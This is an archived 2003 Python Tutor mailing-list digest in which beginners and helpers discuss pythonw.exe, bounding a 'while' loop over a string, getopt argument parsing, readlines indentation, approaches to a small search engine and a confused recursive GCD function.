Subject: [Tutor] python exe files
References: <1e5.c4baacd.2c312131@aol.com>
Message-ID: <3F008CD2.500@ccvcorp.com>

GREENDAY31087@aol.com wrote:

> In a message dated 6/27/03 11:19:03 AM Pacific Daylight Time, 
> jeff@ccvcorp.com writes:
>
>
>> >pythonw.exe - what is this???
>> >
>>
>> This is a console-less version of the interpeter -- it's a Windows-style
>> app rather than a DOS-style app (as python.exe is).  This means that if,
>> for instance, your Python script has a GUI and opens its own windows,
>> etc, then you can run it in pythonw.exe and it won't have an ugly and
>> otherwise useless DOS box open as well.
>>
>
> I have a few GUIs. How would I run them with pythonw.exe?
> -Wayne (win98)


There's a couple of ways.  The easiest is probably to change the name of 
your program to myprogram.pyw instead of myprogram.py -- the .pyw 
extension should be linked to pythonw.exe, while the .py extension is 
linked to python.exe.  You can also simply type 'pythonw.exe 
myprogram.py' at a DOS prompt or in the 'Run...' dialog, though that 
kind of defeats the purpose of using pythonw instead of python.  You can 
also create a .BAT file or a shortcut that runs 'pythonw.exe myprogram.py'.

Jeff Shannon
Technician/Programmer
Credit International





From kalle@lysator.liu.se  Mon Jun 30 17:52:01 2003
From: kalle@lysator.liu.se (Kalle Svensson)
Date: Mon Jun 30 16:52:01 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1056999277.749.38.camel@matthew-richardsons-computer.local>
References: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu> <1056999277.749.38.camel@matthew-richardsons-computer.local>
Message-ID: <20030630205114.GB11075@i92.ryd.student.liu.se>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[Matthew Richardson]
> s = raw_input('Enter a name: ')
> x = 0
> while x >= 0:
>     print s[x]
>     x += 1
> 
> The error is expected because the counter goes on beyond the number of
> characters in the string and runs out of stuff to print.  Got that part
> of it.  How can I count the number of characters in the string?  Then
> the while statement could be changed to
> 
> while x <= NumOfChar:
>     dosomestuff

This is very close to the correct solution.  You get the number of
characters in the string with the len() built-in function.  But

  s = raw_input('Enter a name: ')
  x = 0
  while x <= len(s):
      print s[x]
      x += 1

will still result in an IndexError (even though it's close to being
correct).  Do you see why?

Peace,
  Kalle
- -- 
Kalle Svensson, http://www.juckapan.org/~kalle/
Student, root and saint in the Church of Emacs.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 <http://mailcrypt.sourceforge.net/>

iD8DBQE/AKK7dNeA1787sd0RAqFHAKDNtLk7g7lnjTB1iGmqzvsUlmwL7ACgvp50
Bv40Lrsbna01B7sJenUN5bE=
=eDEp
-----END PGP SIGNATURE-----


From marichar@csusb.edu  Mon Jun 30 18:11:01 2003
From: marichar@csusb.edu (Matthew Richardson)
Date: Mon Jun 30 17:11:01 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <20030630205114.GB11075@i92.ryd.student.liu.se>
References: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu>
 <1056999277.749.38.camel@matthew-richardsons-computer.local>
 <20030630205114.GB11075@i92.ryd.student.liu.se>
Message-ID: <1057007410.749.59.camel@matthew-richardsons-computer.local>

On Mon, 2003-06-30 at 13:51, Kalle Svensson wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> [Matthew Richardson]
> > s = raw_input('Enter a name: ')
> > x = 0
> > while x >= 0:
> >     print s[x]
> >     x += 1
> > 
> > The error is expected because the counter goes on beyond the number of
> > characters in the string and runs out of stuff to print.  Got that part
> > of it.  How can I count the number of characters in the string?  Then
> > the while statement could be changed to
> > 
> > while x <= NumOfChar:
> >     dosomestuff
> 
> This is very close to the correct solution.  You get the number of
> characters in the string with the len() built-in function.  But
> 
>   s = raw_input('Enter a name: ')
>   x = 0
>   while x <= len(s):
>       print s[x]
>       x += 1
> 
> will still result in an IndexError (even though it's close to being
> correct).  Do you see why?
> 
I see it now :)  the loop continues for an iteration beyond the string
and returns an index error.  The example provided earlier avoids this by
getting the length of the string and then printing it from the first
position until it reaches zero, rather than trying to count up from zero
(what I was trying to do).

Thanks,
Matt

-- 
Matt Richardson
Instructional Support Technician
Department of Art
CSU San Bernardino




From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 18:21:03 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 17:21:03 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1056999277.749.38.camel@matthew-richardsons-computer.local>
Message-ID: <Pine.LNX.4.44.0306301406320.5546-100000@hkn.eecs.berkeley.edu>


> Here's what I've got for the second scenario:
>
> s = raw_input('Enter a name: ')
> x = 0
> while x >= 0:
>     print s[x]
>     x += 1
>
> The error is expected because the counter goes on beyond the number of
> characters in the string and runs out of stuff to print.


Hi Matthew,


Ok, so that means that we want:


###
while some_expression_that_is_false_when_x_is_too_large:
    print s[x]
    x += 1
###



The expression that we have, right now:

    x >= 0

is true as long as x is either positive or zero.  ("nonnegative").  The
only problem is that this will always be true: nothing in the loop's body
ever causes x to become negative.  *grin*


'x' is always increasing, hence our program breaks when it tries to print
nonexistant characters.  So we need to choose a different condition,
something that is true only until the index reaches the end of the word.


That is, instead of


        "Matthew Richardson"
        (------------------------------------------>
        0                                        infinity


We want to bound x's range to just:


        "Matthew Richardson"
        (------------------)----------------------->
        0                                        infinity



In mathematical terms, we'd say that we'd like a half-open range,


         0  <=  x   < length of "Matthew Ricahrdson"


And we'll find that the equivalent expression in Python is very similar to
this.  *grin*


I hope this gives some hints on how to correct the while 'condition'
expression.  Good luck!



From elh@outreachnetworks.com  Mon Jun 30 18:58:02 2003
From: elh@outreachnetworks.com (Eric L Howard)
Date: Mon Jun 30 17:58:02 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <20030630205114.GB11075@i92.ryd.student.liu.se>
References: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu> <1056999277.749.38.camel@matthew-richardsons-computer.local> <20030630205114.GB11075@i92.ryd.student.liu.se>
Message-ID: <20030630215738.GA644@outreachnetworks.com>

At a certain time, now past [Jun.30.2003-10:51:14PM +0200], kalle@lysator.liu.se spake thusly:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> [Matthew Richardson]
> > s = raw_input('Enter a name: ')
> > x = 0
> > while x >= 0:
> >     print s[x]
> >     x += 1
> > 
> > The error is expected because the counter goes on beyond the number of
> > characters in the string and runs out of stuff to print.  Got that part
> > of it.  How can I count the number of characters in the string?  Then
> > the while statement could be changed to
> > 
> > while x <= NumOfChar:
> >     dosomestuff
> 
> This is very close to the correct solution.  You get the number of
> characters in the string with the len() built-in function.  But
> 
>   s = raw_input('Enter a name: ')
>   x = 0
>   while x <= len(s):
>       print s[x]
>       x += 1
> 
> will still result in an IndexError (even though it's close to being
> correct).  Do you see why?

[newbie swing ;-)]

I know it works, but would it be bad to do something like
       
s = raw_input('Enter a name: ')
    for x in range(0, len(s)):
    print s[x]

There's no need to initialize x, or declare our math statement in the code.
Thoughts, corrections?

       ~elh

-- 
Eric L. Howard           e l h @ o u t r e a c h n e t w o r k s . c o m
------------------------------------------------------------------------
www.OutreachNetworks.com                                    313.297.9900
------------------------------------------------------------------------
JabberID: elh@jabber.org                 Advocate of the Theocratic Rule


From marichar@csusb.edu  Mon Jun 30 19:19:01 2003
From: marichar@csusb.edu (Matthew Richardson)
Date: Mon Jun 30 18:19:01 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <Pine.LNX.4.44.0306301406320.5546-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.44.0306301406320.5546-100000@hkn.eecs.berkeley.edu>
Message-ID: <1057011496.749.64.camel@matthew-richardsons-computer.local>

On Mon, 2003-06-30 at 14:20, Danny Yoo wrote:
> > Here's what I've got for the second scenario:
> >
> > s = raw_input('Enter a name: ')
> > x = 0
> > while x >= 0:
> >     print s[x]
> >     x += 1
> >
> > The error is expected because the counter goes on beyond the number of
> > characters in the string and runs out of stuff to print.
> 
> 
> Hi Matthew,
> 
> 
> Ok, so that means that we want:
> 
> 
> ###
> while some_expression_that_is_false_when_x_is_too_large:
>     print s[x]
>     x += 1
> ###
> 
> 
> 
> The expression that we have, right now:
> 
>     x >= 0
> 
> is true as long as x is either positive or zero.  ("nonnegative").  The
> only problem is that this will always be true: nothing in the loop's body
> ever causes x to become negative.  *grin*
> 
> 
> 'x' is always increasing, hence our program breaks when it tries to print
> nonexistant characters.  So we need to choose a different condition,
> something that is true only until the index reaches the end of the word.
> 
> 
> That is, instead of
> 
> 
>         "Matthew Richardson"
>         (------------------------------------------>
>         0                                        infinity
> 
> 
> We want to bound x's range to just:
> 
> 
>         "Matthew Richardson"
>         (------------------)----------------------->
>         0                                        infinity
> 
> 
> 
> In mathematical terms, we'd say that we'd like a half-open range,
> 
> 
>          0  <=  x   < length of "Matthew Ricahrdson"
> 
> 
> And we'll find that the equivalent expression in Python is very similar to
> this.  *grin*
> 
> 
> I hope this gives some hints on how to correct the while 'condition'
> expression.  Good luck!

I knew I should have paid more attention in math...

Anyway, here is what I've got based on your excellent direction:

s = 'something'
x = 0
while x < len(s):
    print s[x]
    x += 1

Which works great.  I'm still stuck on how to do Zak's method of
manipulating the string, but starting to feel better about 'while' now.

Thanks,
Matt

-- 
Matt Richardson
Instructional Support Technician
Department of Art
CSU San Bernardino




From marichar@csusb.edu  Mon Jun 30 19:24:01 2003
From: marichar@csusb.edu (Matthew Richardson)
Date: Mon Jun 30 18:24:01 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <20030630205114.GB11075@i92.ryd.student.liu.se>
References: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu>
 <1056999277.749.38.camel@matthew-richardsons-computer.local>
 <20030630205114.GB11075@i92.ryd.student.liu.se>
Message-ID: <1057011821.749.67.camel@matthew-richardsons-computer.local>

On Mon, 2003-06-30 at 13:51, Kalle Svensson wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> [Matthew Richardson]
> > s = raw_input('Enter a name: ')
> > x = 0
> > while x >= 0:
> >     print s[x]
> >     x += 1
> > 
> > The error is expected because the counter goes on beyond the number of
> > characters in the string and runs out of stuff to print.  Got that part
> > of it.  How can I count the number of characters in the string?  Then
> > the while statement could be changed to
> > 
> > while x <= NumOfChar:
> >     dosomestuff
> 
> This is very close to the correct solution.  You get the number of
> characters in the string with the len() built-in function.  But
> 
>   s = raw_input('Enter a name: ')
>   x = 0
>   while x <= len(s):
>       print s[x]
>       x += 1
> 
> will still result in an IndexError (even though it's close to being
> correct).  Do you see why?
> 
> Peace,
>   Kalle
> - -- 
> Kalle Svensson, http://www.juckapan.org/~kalle/

Thanks to all of the guidance on solving a very basic problem.  It'll
probably take me some time to get into the proper mindset to work this
stuff out, so I appreciate the help and patience.

Matt

-- 
Matt Richardson
Instructional Support Technician
Department of Art
CSU San Bernardino




From zak@harlekin-maus.com  Mon Jun 30 19:42:31 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Mon Jun 30 18:42:31 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1057011496.749.64.camel@matthew-richardsons-computer.local>
References: <Pine.LNX.4.44.0306301406320.5546-100000@hkn.eecs.berkeley.edu>
 <1057011496.749.64.camel@matthew-richardsons-computer.local>
Message-ID: <4015.192.206.201.80.1057012900.squirrel@mail.harlekin-maus.com>

> Which works great.  I'm still stuck on how to do Zak's method of
> manipulating the string, but starting to feel better about 'while' now.
>
> Thanks,
> Matt

Here's some code, missing stuff:

s = raw_input('>')
while s:    # when will the while loop be done?
    print s[??]   # ?? is some value
    s = ?? # you want to change s

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 19:44:32 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 18:44:32 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1057011496.749.64.camel@matthew-richardsons-computer.local>
Message-ID: <Pine.LNX.4.44.0306301527150.5546-100000@hkn.eecs.berkeley.edu>


> > In mathematical terms, we'd say that we'd like a half-open range,
> >
> >
> >          0  <=  x   < length of "Matthew Ricahrdson"
> >
> >
> > And we'll find that the equivalent expression in Python is very similar to
> > this.  *grin*
> >
> >
> > I hope this gives some hints on how to correct the while 'condition'
> > expression.  Good luck!
>
> I knew I should have paid more attention in math...


You did have the right approach.  That is, you approached it from the
left:

    while x >= 0:                   #  0 <= x

You just had to have the right approach.  *grin*

    while x < len(s):               #  x < len(s)





By the way, it turns out that we can do both directions at the same time:

    while 0 <= x < len(s):          #  0 <= x and x < len(s)


which is a safe way to go about it.  Of course, only a few programmers I
know will ever write the condition like this.  *grin* Most will just
write:

    x < len(s)

and just assume that x is nonnegative.  Crazy programmers.  *grin*



Good luck to you!



From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 19:54:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 18:54:02 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <20030630215738.GA644@outreachnetworks.com>
Message-ID: <Pine.LNX.4.44.0306301546060.5546-100000@hkn.eecs.berkeley.edu>


> > This is very close to the correct solution.  You get the number of
> > characters in the string with the len() built-in function.  But
> >
> >   s = raw_input('Enter a name: ')
> >   x = 0
> >   while x <= len(s):
> >       print s[x]
> >       x += 1
> >
> > will still result in an IndexError (even though it's close to being
> > correct).  Do you see why?
>
> [newbie swing ;-)]
>
> I know it works, but would it be bad to do something like
>
> s = raw_input('Enter a name: ')
>     for x in range(0, len(s)):
>     print s[x]
>
> There's no need to initialize x, or declare our math statement in the
> code. Thoughts, corrections?


Hi Eric,


Sure, this works great, and you're right: the 'for' loop is the more
appropriate looping construct here, since we're going along the letters of
the name.


We can even do:

###
s = raw_input('Enter a name: ')
for ch in s:
    print ch
###

and skip the manual indicing altogether.  *grin*


Strings are like Lists --- they are both "sequences" --- and the 'for'
loop can deal with them uniformly.  Matt's question asked to do it with
'while', but in real life code, the 'for' loop is usually easier to
construct because it's less open-ended than 'while'.


Good luck!



From dman@dman13.dyndns.org  Mon Jun 30 19:54:18 2003
From: dman@dman13.dyndns.org (Derrick 'dman' Hudson)
Date: Mon Jun 30 18:54:18 2003
Subject: [Tutor] Re: Convert list to literal string.
In-Reply-To: <200306281000.04630.decibel8@charter.net>
References: <20030628144336.GA30739@dman13.dyndns.org> <200306281000.04630.decibel8@charter.net>
Message-ID: <20030630225337.GC27255@dman13.dyndns.org>

--vEao7xgI/oilGqZ+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Jun 28, 2003 at 10:00:04AM -0500, David wrote:

| I can make a loop and process the info.

Dealing with the list of data is certainly doable.  You still didn't
provide the code that shows how you ended up with a list (how!?
command line arguments are strings until you parse them into something
else) so I can't explain what you are doing wrong.

Abel already reminded you of
    ','.join( ['IBM', 'EK', 'MO', 'UTX'] )

(if this helps you, then I suspect you called .split() on the command
line argument, and that's where your list came from)

[... lots and lots of snip ...]
| --addstocks  IBM,EK,MO,UTX

This is easy.  See sample (but untested) code below :


import sys
import getopt

try:
    opts, args =3D getopt.getopt(sys.argv[1:], "", ["addstocks=3D"])
except getopt.GetoptError:
    # print help information and exit:
    usage()     # Note: you have to define this function!
    sys.exit(2)

stock_labels =3D None
for o, a in opts:
    if o =3D=3D "--addstocks" :
        stock_labels =3D a

if not stock_labels :
    usage()
    sys.exit(3)

print stock_labels
print type(stock_labels)
print stock_labels.__class__  # use this with python >=3D 2.2
addstock( stock_labels )


-D

--=20
A violent man entices his neighbor
and leads him down a path that is not good.
        Proverbs 16:29
=20
http://dman13.dyndns.org/~dman/

--vEao7xgI/oilGqZ+
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj8Av3EACgkQiB6vp1xAVUAiuwCeNkrIAAt2rnOS68eJ7w4Y92h2
MIoAnjnLumBlZlLlNUqGY6BCZeprMnBu
=7tgh
-----END PGP SIGNATURE-----

--vEao7xgI/oilGqZ+--


From marichar@csusb.edu  Mon Jun 30 20:05:02 2003
From: marichar@csusb.edu (Matthew Richardson)
Date: Mon Jun 30 19:05:02 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <Pine.LNX.4.44.0306301546060.5546-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.44.0306301546060.5546-100000@hkn.eecs.berkeley.edu>
Message-ID: <1057014254.749.75.camel@matthew-richardsons-computer.local>

On Mon, 2003-06-30 at 15:53, Danny Yoo wrote:
> > > This is very close to the correct solution.  You get the number of
> > > characters in the string with the len() built-in function.  But
> > >
> > >   s = raw_input('Enter a name: ')
> > >   x = 0
> > >   while x <= len(s):
> > >       print s[x]
> > >       x += 1
> > >
> > > will still result in an IndexError (even though it's close to being
> > > correct).  Do you see why?
> >
> > [newbie swing ;-)]
> >
> > I know it works, but would it be bad to do something like
> >
> > s = raw_input('Enter a name: ')
> >     for x in range(0, len(s)):
> >     print s[x]
> >
> > There's no need to initialize x, or declare our math statement in the
> > code. Thoughts, corrections?
> 
> 
> Hi Eric,
> 
> 
> Sure, this works great, and you're right: the 'for' loop is the more
> appropriate looping construct here, since we're going along the letters of
> the name.
> 
> 
> We can even do:
> 
> ###
> s = raw_input('Enter a name: ')
> for ch in s:
>     print ch
> ###
> 
> and skip the manual indicing altogether.  *grin*
> 
> 
> Strings are like Lists --- they are both "sequences" --- and the 'for'
> loop can deal with them uniformly.  Matt's question asked to do it with
> 'while', but in real life code, the 'for' loop is usually easier to
> construct because it's less open-ended than 'while'.
> 
> 
> Good luck!
> 

The exercise is out of Wesley Chun's 'Core Python Programming.'  The for
loop was far easier for me, but the exercise was to perform the same
task both ways.  No point in skipping over the 'hard' material in the
name of expediency.  I want to get a firm grip on this and ploughing
through all of the examples is the only way I'll get it.

Now for Zak's string manipulation....

Matt

-- 
Matt Richardson
Instructional Support Technician
Department of Art
CSU San Bernardino




From zak@harlekin-maus.com  Mon Jun 30 20:08:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Mon Jun 30 19:08:02 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <4015.192.206.201.80.1057012900.squirrel@mail.harlekin-maus.com>
References: <Pine.LNX.4.44.0306301406320.5546-100000@hkn.eecs.berkeley.edu>
 <1057011496.749.64.camel@matthew-richardsons-computer.local>
 <4015.192.206.201.80.1057012900.squirrel@mail.harlekin-maus.com>
Message-ID: <4084.192.206.201.80.1057014471.squirrel@mail.harlekin-maus.com>

Oh, and just for fun, here's another wonky way to write each letter of a
string. Though someone can probably chime in with an even crazier method,
I'm sure.

###
print ''.join(map(lambda x: '%s\n' % x, raw_input('Enter a name:')))[:-1]
###

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From camartin@snet.net  Mon Jun 30 22:43:01 2003
From: camartin@snet.net (Cliff Martin)
Date: Mon Jun 30 21:43:01 2003
Subject: [Tutor] readlines code
Message-ID: <3F00E749.7060805@snet.net>

Hi,

I'm trying to read in an ASCII file of a fairly large set of data with 
data separated by spaces and each line ending with a linefeed.  If I use 
readlines() I get all the data but each line still has a \n tacked on. 
 If I use:

f=open("c:/transfer/filename")
for line in f.readlines():
        words=line.rstrip().split()

I get only the last line of the file in words.  Could someone explain 
why this is happening?  There is something about the use of Python here 
that I'm not understanding.  Thanks for any help.

Cliff Martin




From python@kyle.sent.com  Mon Jun 30 22:49:02 2003
From: python@kyle.sent.com (Kyle Babich)
Date: Mon Jun 30 21:49:02 2003
Subject: [Tutor] writing a search engine
Message-ID: <20030701014813.3D7166BDCD@smtp.us2.messagingengine.com>

Any suggestions on where to start?  I plan on writing one for a small
site of mine.  It will basically be "google-style"- simple and
functional.  The item being searched will be text files, where users can
search based on title, contents, or both.  I was reading through some
books but I'm stumped on where to begin.  I've never tried writing
something even similar to a search engine and I guess I'm little
confused/overwhelmed/bewildered.  :)  You guys always come to the rescue
for me, so how about one more time?
--
Kyle


From rick@niof.net  Mon Jun 30 22:56:04 2003
From: rick@niof.net (Rick Pasotto)
Date: Mon Jun 30 21:56:04 2003
Subject: [Tutor] readlines code
In-Reply-To: <3F00E749.7060805@snet.net>
References: <3F00E749.7060805@snet.net>
Message-ID: <20030701015523.GB5712@niof.net>

On Mon, Jun 30, 2003 at 09:43:37PM -0400, Cliff Martin wrote:
> Hi,
> 
> I'm trying to read in an ASCII file of a fairly large set of data with 
> data separated by spaces and each line ending with a linefeed.  If I use 
> readlines() I get all the data but each line still has a \n tacked on. 
> If I use:
> 
> f=open("c:/transfer/filename")
> for line in f.readlines():
>        words=line.rstrip().split()
> 
> I get only the last line of the file in words.  Could someone explain 
> why this is happening?  There is something about the use of Python here 
> that I'm not understanding.  Thanks for any help.

I suspect you're only *doing* something to the last line.

Consider the following two programs:

f = open("c:/transfer/filename")
for line in f.readlines():
	words=line.rstrip().split()
print words

f = open("c:/transfer/filename")
for line in f.readlines():
	words=line.rstrip().split()
	print words

Both process all the lines in the file but the first only prints out the
last line while the second prints out all the lines.

Indentation is *critical* in python.

-- 
"Damn all expurgated books; the dirtiest book of all is the expurgated book."
		-- Walt Whitman
    Rick Pasotto    rick@niof.net    http://www.niof.net


From shalehperry@attbi.com  Mon Jun 30 23:28:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon Jun 30 22:28:02 2003
Subject: [Tutor] writing a search engine
In-Reply-To: <20030701014813.3D7166BDCD@smtp.us2.messagingengine.com>
References: <20030701014813.3D7166BDCD@smtp.us2.messagingengine.com>
Message-ID: <200306301924.42583.shalehperry@attbi.com>

On Monday 30 June 2003 18:48, Kyle Babich wrote:
> Any suggestions on where to start?  I plan on writing one for a small
> site of mine.  It will basically be "google-style"- simple and
> functional.  The item being searched will be text files, where users can
> search based on title, contents, or both.  I was reading through some
> books but I'm stumped on where to begin.  I've never tried writing
> something even similar to a search engine and I guess I'm little
> confused/overwhelmed/bewildered.  :)  You guys always come to the rescue
> for me, so how about one more time?

sounds like time for "teach a man to fish" .......

A search engine eh? hmm, what would that take.  Let's brain storm.

- user enters some text.

- We open the first file and scan it looking for the text.  Is it there?  
Report if yes.  This piece right here is a good place to start writing code.
No need for web or gui, just write a little console app.  If you are familiar 
with Unix this may resemble grep.

- repeat for every file in the directory / disk / whatever.

hmmm, that would be slow, wouldn't it?  Even so, you could have a solution 
fairly rapidly that worked.

This is a classic computer science problem.  The user wants the answer faster 
than we can find it.  How would you make the user happy?  What makes the 
searching slow?  Ponder this and you are on your way .........

A key to programming is learning to break the problem into bite sized pieces.  
Every problem has smaller problems within that can be solved individually.  
Eventually you get enough of the pieces to put the puzzle together.

When faced with a large task ask yourself: how would it be used?  is there a 
similar problem?  have I solved something similar before?

In this case you have probably searched in strings before.  Or heard about it.  
Start there.  Once you can find the information the next part of the problem 
is finding it in lots of places.  Then it is making it web accessible.  Then 
you have to make it fast enough to users to want it.  Each pieces is its own 
journey.



From payal-python@staticky.com  Mon Jun 30 23:40:02 2003
From: payal-python@staticky.com (Payal Rathod)
Date: Mon Jun 30 22:40:02 2003
Subject: [Tutor] finding factorials
In-Reply-To: <Pine.LNX.4.44.0306301022240.20816-100000@hkn.eecs.berkeley.edu>
References: <20030630141707.GA1882@linux.local> <Pine.LNX.4.44.0306301022240.20816-100000@hkn.eecs.berkeley.edu>
Message-ID: <20030701023901.GA1603@linux.local>

On Mon, Jun 30, 2003 at 10:33:36AM -0700, Danny Yoo wrote:
> Same mistake as last time.  *grin* The code is simply dropping the value
> that you're calculating from doing euclid().  We need to capture that
> value:

Sorry Danny I am still not getting it. Now I am so confused that I think
I don't know what exactly a function does and what is it it returns.

I have posted my code below with some comments regarding issues I don't
get.

#!/usr/local/bin/python

def euclid(a,b):
        while b != 0:
                c = a
                a = b
                b = c % a
                print 'A = ', a
                print 'B = ', b
                return euclid(a,b)
# What will this return exactly?
        else:
                return a

x = 100
y = 20

result = euclid(x, y)

# Why do we define x and y here seperately?
# Can't we have result = euclid(100,20)
# This apparently is not working. 

print x
print y

# This always prints 100 and 20. I think it should print the present values
# of x and y which are not 100 and 20 always.

print result

# The result is given as 20 which I think is wrong. Is there anything 
# wrong with my mathematical logic or my function?

With warm regards,
-Payal


-- 
"Visit GNU/Linux Success Stories"
http://payal.staticky.com
Guest-Book Section Updated.